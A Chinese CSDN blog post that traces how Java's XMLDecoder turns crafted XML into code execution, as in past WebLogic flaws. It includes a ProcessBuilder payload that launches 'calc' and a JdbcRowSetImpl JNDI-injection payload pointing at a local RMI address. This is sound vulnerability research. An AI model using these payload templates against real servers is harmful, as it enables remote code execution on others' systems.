XML漏洞分析

最近在看之前的weblogic的漏洞,无疑逃不了分析xml这个漏洞,一段简单的demo

<java version="1.7.0_80" class="java.beans.XMLDecoder">

  <object class="java.lang.ProcessBuilder">

​    <array class="java.lang.String" length="1">

​      <void index="0"><string>calc</string></void>

​    </array>

​    <void method="start"></void>

  </object>

</java>
public class test{

  public static void main(String[] args) throws IOException, InterruptedException {

​    XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("b.xml")));

​    Object readObject = xmlDecoder.readObject();

​    //System.out.println(readObject);

​    xmlDecoder.close();

 

  }

简短几行代码就可以成功rce,这里命令执行是ProcessBuilder这个类(jdk1.7.0_21)

在这里插入图片描述

最开始的weblogic的漏洞也是这里开始,只要调用了xmlDecoder.readObject()就可能导致上传恶意xml文件达到rce,之后weblogic也是对这里面的一系列关键字进行过滤,但是还是有被绕过的情况,这个等一会再说。

回到xml这里,直接打断点进行分析

可以发现在第一步的时候就已经传入一个hashmap,里面存放各种标签对应的类

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

后面继续跟进parse这个函数,最后来到这里

在这里插入图片描述

可以看一下堆栈

在这里插入图片描述

最后看到处理xml的地方

在这里插入图片描述

跟进这个函数来到这里,这个函数通过迭代的方式对XML数据的标签进行解析

最后来到这里,scanEndElement,当没扫描到结束字符后,便开始进行解析

在这里插入图片描述

可以看见,我们xml最里面一个标签是<string>calc</string>这个,所以第一个进行解析

在这里插入图片描述

跟了一下到了这里DocumentHandler#endElement

在这里插入图片描述

再跟一下可以到这里,进去可以看一下这个就开始取值了

可以看见这里的函数其实是已经获得了calc,即我们传入的字符了,但是最后却没有返回,返回的是一个带有calc的ValueObjectImpl,而且你可以发现,现在的getValObject是在StringElementHandler的里面,对应前面一开始传入的hashmap对应值,也就是说在这里他截取了</string>这个,然后去hashmap里面找对应的类,然后在getValueObject

在这里插入图片描述

然后进行判断,最终在这里将calc进行赋值给父类

在这里插入图片描述

后面在这里,进行递归this.handler = this.handler.getParent()

在这里插入图片描述

后面再一次进入循环的时候,此时已经是NewElementHandler#getValueObject,但是按照hashmap是应该调用VoidElementHandler#getValueObject,但是VoidElementHandler没有这个方法,于是便找他父类方法,到了这里

在这里插入图片描述

void这里,会将上一次传入的calc继续传
在这里插入图片描述

中间省略一点,直接到这里,通过下面函数直接实例化了

在这里插入图片描述

再一次进入这个循环后,在次getValueObject

在这里插入图片描述

这里会进行一个操作,对后面的有一个jndi很关键,判断property是否为空,然后加入set,get字段,最后将第一个字符转为大写,但是在这里我们传入的是一个<void method="start"></void>,所以判断就都过了,最后在ValueObjectImpl.create(var5.getValue());里面有个invoke,成功执行了

在这里插入图片描述

JNDI

之前说到这里可以jndi,前面xml解析哪里就不说了,直接看关键的吧

<java version="1.8.0_131" class="java.beans.XMLDecoder">

 <void class="com.sun.rowset.JdbcRowSetImpl">

 <void property="dataSourceName">

  <string>rmi://localhost:1099/test</string>

 </void>

 <void property="autoCommit">

  <boolean>true</boolean>

 </void>

 </void>

</java>

调用的是JdbcRowSetImpl这个类,先找到jndi注入点

在这里插入图片描述

可以看见这里是直接调用connect(),既然找到了调用方法,接下来就是看这里面的参数能否可控了

在这里插入图片描述

看一下之前的xml文件,这一部分之前说过,当property不为空就可以进入循环,就是在下图这个位置,然后invoke,直接调用方法了,这里是先进行赋值

在这里插入图片描述

后面这里进行调用方法setAutoCommit,然后到jndi那段代码上去

在这里插入图片描述

最后补张图吧

在这里插入图片描述
CSDN以后时不时来更一下吧
主要还是我的blog:https://f1or.cn

参考文章

https://www.freebuf.com/articles/network/247331.html

http://xxlegend.com/

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值